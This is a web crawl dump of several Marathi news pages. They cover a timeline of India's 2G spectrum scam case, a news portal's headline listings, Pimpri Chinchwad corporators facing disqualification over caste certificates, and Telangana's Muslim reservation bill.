"काय आहे 2जी स्पेक्ट्रम घोटाळा? संपूर्ण घटनाक्रम", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nकाय आहे 2जी स्पेक्ट्रम घोटाळा\nया निकालामुळे सीबीआयला चांगलाच धक्का बसला आहे. पण हे प्रकरण नक्की काय आहे हे थोडक्यात जाणून घेऊ या.\n21 डिसेंबर:2 जी स्पेक्ट्रम घोटाळ्याप्रकरणी आज सर्व आरोपींची निर्दोष मुक्तता करण्यात आली आहे. या निकालामुळे सीबीआयला चांगलाच धक्का बसला आहे. पण हे प्रकरण नक्की काय आहे हे थोडक्यात जाणून घेऊ या.\nकाय आहे 2जी स्पेक्ट्रम घोटाळा\n15 ऑगस्ट 2007 – दूरसंचार विभागाने 2G स्पेक्ट्रमच्या वाटपला सुरूवात केली\n2 नोव्हेंबर 2007 – वाटप आणि परवाने सुधारण्यासंदर्भात पंतप्रधानांनी काही शिफारशी केल्या होत्या. तत्कालीन टेलिकॉम मंत्री ए राजा यांनी त्याकडे दुर्लक्ष केलं होतं.\n22 नोव्हेंबर 2007 – स्पेक्ट्र्म वाटपाच्या प्रक्रियेवर अर्थ मंत्रालयाचे आरोप आणि पुनर्विचाराची मागणी फेटाळली गेली.\n10 जानेवारी 2008 – दूरसंचार मंत्रालयाने लागू केलेल्या, जी कंपनी पहिली येईल, तिला 2G परवाना मिळेल, या धोरणाची तारीख 1 ऑक्टोबरवरुन 25 सप्टेंबर आणण्यात आले. त्याच दिवशी अर्ज गोळा करण्याचे आदेश देण्यात आले.\n4 मे 2009 – एनजीओ टेलिकॉम वॉचडॉगने सेंट्रल व्हिजिलन्स कमीशनमध्ये स्पेक्ट्रम वाटपात गडबड झाल्याची तक्रार केली.\n31 मार्च 2010 – कॅगच्या अहवालात स्पेक्ट्रम वाटपातील घोळ उघडकीस आला.\n6 मे 2010 – कॉर्पोरेट लॉबिस्ट नीरा राडिया आणि ए राजा यांच्यातील संवाद उघड\n13 सप्टेंबर 2010 – सुप्रीम कोर्टाने एका जनहित याचिकेनंतर सरकार आणि ए राजा यांच्याकडून उत्तर मागवलं.\n24 सप्टेंबर 2010 – ए राजा यांच्याविरोधात कारवाई करण्याची मागणी भाजप नेते सुब्रह्मण्यम स्वामींनी केली.\n10 नोव्हेंबर 2010 – कॅगच्या चौकशीत सरकारी तिजोरीला 1 लाख 76 हजार कोटींचा नुकसान झाल्याचे समोर आले.\n14 नोव्हेंबर 2010 – ए राजा यांनी आपल्या मंत्रिपदाचा राजीनामा दिला\n29 नोव्हेंबर 2010 – 2G स्पेक्ट्रम घोटाळ्यात सीबीआयचा स्टेटस रिपोर्ट दाखल\n2 डिसेंबर 2010 – ए राजांना सुप्रीम कोर्टाने फटकारलं.\n8 डिसेंबर 2010 – या घोटाळ्याच्या सुनावणीसाठी विशेष कोर्ट स्थापन करण्याचे सुप्रीम कोर्टाचे आदेश.\n4 जानेवारी 2011 – स्पेक्ट्रम लायसन्स रद्द करायची सुब्रह्मण्यम स्वामींची सुप्रीम कोर्टात मागणी\n8 फेब्रुवारी 2011 – स्वान टेलिकॉमचे प्रमोटर शाहिद उस्मान बलवा यांना अटक\n2 एप्रिल 2011 – सीबीआयकडून पहिलं आरोपपत्र दाखल\n25 एप्रिल 2011 – सीबीआयकडून दुसरं आरोपपत्र दाखल\n20 मे 2011 – कनिमोळी आणि शरद कुमार यांच्या अटकेचे आदेश\n25 जुलै 2011 – ए राजा यांनी पंतप्रधान मनमोहन सिंह आणि पी.चिदंबरम यांना साक्षीदार बनवा अशी मागणी केली.\n11 नोव्हेंबर 2011- विशेष कोर्टात याप्रकरणी सुनावणी सुरू\n12 डिसेेंबर 2011-सीबीआयकडून तीसरं आरोपपत्र दाखल\n30 जानेवारी 2012 – पंतप्रधान कार्यलयावर सुप्रमी कोर्ट संतापला. पंतप्रधान कार्यालयातील अधिकाऱ्यांनी पंतप्रधानांना योग्य माहिती दिली नसल्याचे कोर्टाने म्हटले.\n2 फेब्रुवारी 2012 – सुप्रीम कोर्टाने ए राजा यांच्या कार्यकाळातील सर्व म्हणजे 122 स्पेक्ट्रम लायसन्स रद्द केले.तसंच नवीन लायसन्ससाठी निवीदा मागवण्याचे आदेश दिले.\n1 जून 2015 - कलईगनर टीव्हीला या घोटाळ्यामुळे 200 कोटींचा फायदा-ईडी\n19 एप्रिल 2017- याप्रकरणी दिल्ली हायकोर्टात सुनावणी पूर्ण\n21 डिसेंबर 2017- दिल्ली पतियाळा हाऊस कोर्टात सर्व आरोपींची निर्दोष मुक्तता\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00428.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/?p=109513", "date_download": "2018-09-25T17:56:37Z", "digest": "sha1:CWH6P3U57APJDH53KUYLPK6SQQSJG2B3", "length": 21513, "nlines": 235, "source_domain": "lokmat.news18.com", "title": "News18 Lokmat: Marathi News, Breaking News in Marathi, Politics, Sports News Headlines", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nबातम्या Sep 25, 2018 लालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nदेश Sep 25, 2018 उदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nसोनम कपूरचा फॅशन जलवा\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nVIDEO : भिवंडीत गणेश मंडळाच्या कार्यकर्त्यांची तरुणाला घरात घुसून बेदम मारहाण\nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nलता दीदी @90 : या कारणांमुळे लता दीदींनी केलं नाही लग्न\nबापू मॅगी खात होते काय महात्मा गांधींबद्दल लोकांना सगळ्यात जास्त काय जाणून घ्यायला आवडतं\nSuccess Story : गॅरेजवाल्या प्रदीपने तयार केलं चक्क हेलिकाॅप्टर \nसेक्स आणि क्राईमच्या पलिकडे वेब सीरिजनी जायला हवं, म्हणतायत सिने अभ्यासक\nलता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nलोक नूरजहाँ, शमशाद को भूल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लता दीदींना\nमध्यप्रदेशातल्या हरदयाच्या शाळेत सव्वाशे वर्षांपासून घातली जाते गांधी टोपी\nफोटो गॅलरीSep 25, 2018\nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\nया ५ गोष्टींमुळे कळणार तुमचा बॉयफ्रेंड किंवा गर्लफ्रेंड तुम्हाला धोका देतायत का\nया १० गोष्टी तुमच्या अंगी नसतील तर तुम्ही कधीच बारीक होणार नाही\nकाय तुम्हाला शांत झोप लागत नाही तर मग हे नक्की वाचा\nदोन दिवस चालणार बॅटरी, मोटोरोलाचा वन पाॅवर लाँच, किंमत...\n'जीओ' वर सुरू झाली आयफोन XS आणि XS Max ची प्री बुकिंग\nPHOTOS : हा आहे अॅपलमधला सर्वात कमनशिबी माणूस,एका चुकीमुळे गमावले 5 लाख कोटी\n धोक्यात आहे व्हॉट्सअॅप डेटा, सगळ्यात आधी करा हे काम\nअँड्रॉईड मोबाईलमध्ये आधाराचा नंबर\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\nAsia Cup 2018- धोनी कर्णधार बनताच टीम इंडिया झाली ‘चेन्नई सुपर किंग्स’\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nया ५ गोष्टींमुळे कळणार तुमचा बॉयफ्रेंड किंवा गर्लफ्रेंड तुम्हाला धोका देतायत का\nटीव्हीची हॉट डायन या ट्रेडिशनल लूकमुळे झाली VIRAL\nएका माॅडेलनं सांगितलं जलोटा-जसलीनच्या नात्यातलं सनसनाटी सत्य\nया १० गोष्टी तुमच्या अंगी नसतील तर तुम्ही कधीच बारीक होणार नाही\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nन्यायमूर्ती पी. बी. सावंत यांची संपूर्ण मुलाखत\nविशेष कार्यक्रम -सिनेमाचं गाव\n#News18RisingIndia Summit- नरेंद्र मोदींचं संपूर्ण भाषण\nविशेष कार्यक्रम रिपोर्ताज - वेबसीरिजचे स्पायडरमॅन\nविशेष कार्यक्रम : साय-फाय 'स्पाय'\nवाचाल तर वाचाल : धनंजय दातार आणि अरविंद जगताप यांच्यासोबत\nविशेष कार्यक्रम रिपोतार्ज : बिबट्यांची दुनिया\nविशेष कार्यक्रम : सुला फेस्ट 2018\nस्वानंद किरकिरेंसोबत वाचाल तर वाचाल\nमराठ्यांची शौर्यगाथा सांगणारा स्पेशल शो - 'विजय उंबरखिंडीचा'\nभारत हा मुक्त समाजाचा देश,लाखो लोकं गरिबीतून बाहेर आली-डोनाल्ड ट्रम्प\nVIDEO : इम्रान खान यांनी पंतप्रधान मोदींना पत्र लिहून केली विनंती\nडोनाल्ड ट्रम्प यांच्या पक्षाकडून गणपतीच्या जाहिरातीवर आक्षेपार्ह मजकूर\nदोन दिवस चालणार बॅटरी, मोटोरोलाचा वन पाॅवर लाँच, किंमत...\n'जीओ' वर सुरू झाली आयफोन XS आणि XS Max ची प्री बुकिंग\nफोटो गॅलरीSep 12, 2018\nPHOTOS : हा आहे अॅपलमधला सर्वात कमनशिबी माणूस,एका चुकीमुळे गमावले 5 लाख कोटी\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00429.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%BF%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A5%80-%E0%A4%AE%E0%A4%B9%E0%A4%BE%E0%A4%AA%E0%A4%BE%E0%A4%B2%E0%A4%BF%E0%A4%95%E0%A5%87%E0%A4%9A%E0%A5%87-%E0%A4%9A%E0%A4%BE%E0%A4%B0-%E0%A4%A8/", "date_download": "2018-09-25T17:59:51Z", "digest": "sha1:VNZP2A7VZBRQXJAHVTEQWKJ2KWDIU44R", "length": 10198, "nlines": 73, "source_domain": "pclive7.com", "title": "पिंपरी महापालिकेचे चार नगरसेवक डेंजर झोनमध्ये… | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पिंपरी महापालिकेचे चार नगरसेवक डेंजर झोनमध्ये…\nपिंपरी महापालिकेचे चार नगरसेवक डेंजर झोनमध्ये…\nपिंपरी (Pclive7.com):- जात वैधता पडताळणी प्रमाणपत्र सादर न केलेल्या चार भाजप नगरसेवकांविरुद्धचा अहवाल पिंपरी चिंचवड महपालिका प्रशासनाने राज्य सरकारला सादर केल्याने हे नगरसेवक डेंजर झोनमध्ये गेले आहेत. कुंदन गायकवाड, यशोदा बोईनवाड, मनिषा पवार आणि कमल घोलप यांचा यात समावेश आहे. या कारणावरून कोल्हापूर महापालिकेच्या वीस नगरसेवकांचे पद यापूर्वीच रद्द झाले आहे. तर, पुणे महापालिका प्रशासनही अशा सात नगरसेवकांचा ‘रिपोर्ट’ राज्याच्या नगरविकास विभागाला सादर करणार आहे.\nपद जाण्याचा धोका निर्माण झालेले पिंपरीतील चारही नगरसेवक पालिकेतील सत्ताधारी भाजपचे आहेत. उमेदवारी अर्ज सादर करताना वा निवडून आल्यानंतर सहा महिन्यात हे प्रमाणपत्र सादर करणे आवश्यक आहे. मात्र, पिंपरीतील भाजपच्या दोघांनी, तर दीड वर्षानंतरही ते अद्याप दिलेले नाही. तर दोघांनी ते मुदतीनंतर सादर केले आहे, अशी माहिती महापालिकेच्या निवडणूक विभागातून देण्यात आली.\nया चार नगरसेवकांबाबतचा अहवाल राज्य सरकारला यांपूर्वीच सादर केला आहे, असे महापालिका आयुक्त श्रावण हर्डीकर यांनी सांगितले. आता तो पुन्हा पाठविणार असल्याचेही ते म्हणाले. त्यामुळे या नगरसेवकांचे पद रद्द करण्याचा चेंडू राज्य सरकारच्या कोर्टात गेला आहे. मात्र, ही कारवाई आयुक्तांच्या अहवालावर अवलबूंन राहणार आहे. तो पूर्णपणे या नगरसेवकांच्या विरोधात असेल, तरच त्यांचे पद सरकार रद्द् करेल, असा राजकीय जाणकारांचा अंदाज आहे. मात्र, ‘सत्ताधारी भाजपचे घरगडी’… ‘त्यांच्या हातातील बाहुले’ अशी टीका झालेले आयुक्त किती ‘निगेटीव्ह रिपोर्ट’ देतील, याविषयीच विरोधकांनी शंका उपस्थित केली आहे.\nनिवडणुक लढविताना जात पडताळणी प्रमाणपत्र न दिलेले वा ते मुदतीनंतर सादर केलेल्या नगरसेवकांचे पद रद्द करण्याचे कोल्हापूर महापालिकेतील लोण पुण्यापर्यंत आले आहे. सर्वोच्च न्यायालयाच्या आदेशानुसार कोल्हापूर पालिकेतील वीस नगरसेवकांचे पद गेल्या महिन्यात २३ तारखेला रद्द करण्यात आले. त्यानंतर पुणे पालिकेचे आयुक्त सौरभ राव यांनीही महापालिकेतील सत्ताधारी भाजपच्या पाच व राष्ट्रवादीच्या दोन अशा सात नगरसेवकांचे पद रद्द करण्याची कार्यवाही सुरु केली आहे.\nयाच गटात पिंपरी महापालिकेचे चार नगरसेवक येत आहेत. कुंदन गायकवाड व यशोदा बोईनवाड यांनी अद्याप जात प्रमाणपत्र अद्याप दिले नसल्याचे महापालिकेच्या निवडणुक विभागाचे प्रमुख व प्रभारी अतिरिक्त आयुक्त प्रवीण अष्टीकर यांनी सांगितले आहे. तर, मनिषा पवार आणि कमल घोलप यांनी ते मुदतीनंतर सादर केल्याची माहिती त्यांनी दिली.\nTags: bjpCorporatorPCLIVE7.COMPCMCPcmc newsचिंचवडडेंजर झोननगरसेवकपिंपरीमहापालिका\nपिंपरी चिंचवडमध्ये पहिल्या ‘प्रवासी मेळाव्या’चे शनिवारी आयोजन\nपुण्यात रोज एक कोटी वेळा हॉर्न वाजतो, पोलीसांचा ‘नो हॉर्न डे’\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00430.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/desh/12-percent-muslim-quota-telangana-40498", "date_download": "2018-09-25T17:50:08Z", "digest": "sha1:RMBFCRPPKX326FOECQYBNC5CCVGWLRFI", "length": 12293, "nlines": 174, "source_domain": "www.esakal.com", "title": "12 percent muslim quota in telangana मुस्लिमांना तेलंगणात 12% आरक्षण; भाजपचे 5 आमदार निलंबित | eSakal", "raw_content": "\nमुस्लिमांना तेलंगणात 12% आरक्षण; भाजपचे 5 आमदार निलंबित\nसोमवार, 17 एप्रिल 2017\nभाजपशिवाय सर्व पक्षांचा पाठिंबा\nया विधेयकाला भाजपशिवाय सर्व विरोधी पक्षांचा पाठिंबा होता. त्यामुळे गोंधळ घालणाऱ्या भाजपच्या पाचही सदस्यांना दिवसभरासाठी निलंबित करण्यात आले होते. विधेयक मंजुरीदरम्यान केंद्र सरकारने अडथळा आणल्यास सर्वोच्च न्यायालयात जाण्याचा इशाराही मुख्यमंत्री राव यांनी दिला आहे.\nहैदराबाद : मागासवर्गीय मुस्लिमांचे आरक्षण वाढवून हा कोटा 12 टक्के करण्याचा प्रस्ताव असलेले विधेयक तेलंगणच्या विधानसभेत रविवारी एकमताने मंजूर करण्यात आले. यावेळी गोंधळ घालणाऱ्या भाजपच्या पाचही सदस्यांना दिवसभरासाठी निलंबित करण्यात आले.\nविधानसभेच्या विशेष सत्राच्या सुरवातीलाच मुख्यमंत्री के. चंद्रशेखर राव यांनी हे विधेयक मांडत आर्थिकदृष्ट्या मागास असलेल्या मुस्लिमांसाठीच्या आरक्षण कोट्यात वाढ करण्याचा प्रस्ताव ठेवला. या विधेयकानुसार अनुसूचित जमातींच्या आरक्षण कोट्यातही वाढ करून तो 10 टक्के करण्यात आला आहे.\nया विधेयकाला भाजपशिवाय सर्व विरोधी पक्षांचा पाठिंबा होता. त्यामुळे गोंधळ घालणाऱ्या भाजपच्या पाचही सदस्यांना दिवसभरासाठी निलंबित करण्यात आले होते. यानंतर या विधेयकाला सर्वांचा पाठिंबा मिळून ते मंजूर करण्यात आले. या विधेयकावर आता विधान परिषदेत चर्चा होणार आहे. अनुसूचित जमातींना शैक्षणिक संस्था आणि सरकारी नोकऱ्यांमधील आरक्षण सहा ते दहा टक्के करण्यात आले आहे.\nविधान परिषदेत मंजुरी मिळाल्यानंतर हे विधेयक मंजुरीसाठी राष्ट्रपतींकडे पाठविले जाणार आहे. विधेयक मंजुरीदरम्यान केंद्र सरकारने अडथळा आणल्यास सर्वोच्च न्यायालयात जाण्याचा इशाराही मुख्यमंत्री राव यांनी दिला आहे. हे आरक्षण आर्थिक निकषांवरच दिले गेल्याचा दावाही त्यांनी केला आहे.\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. 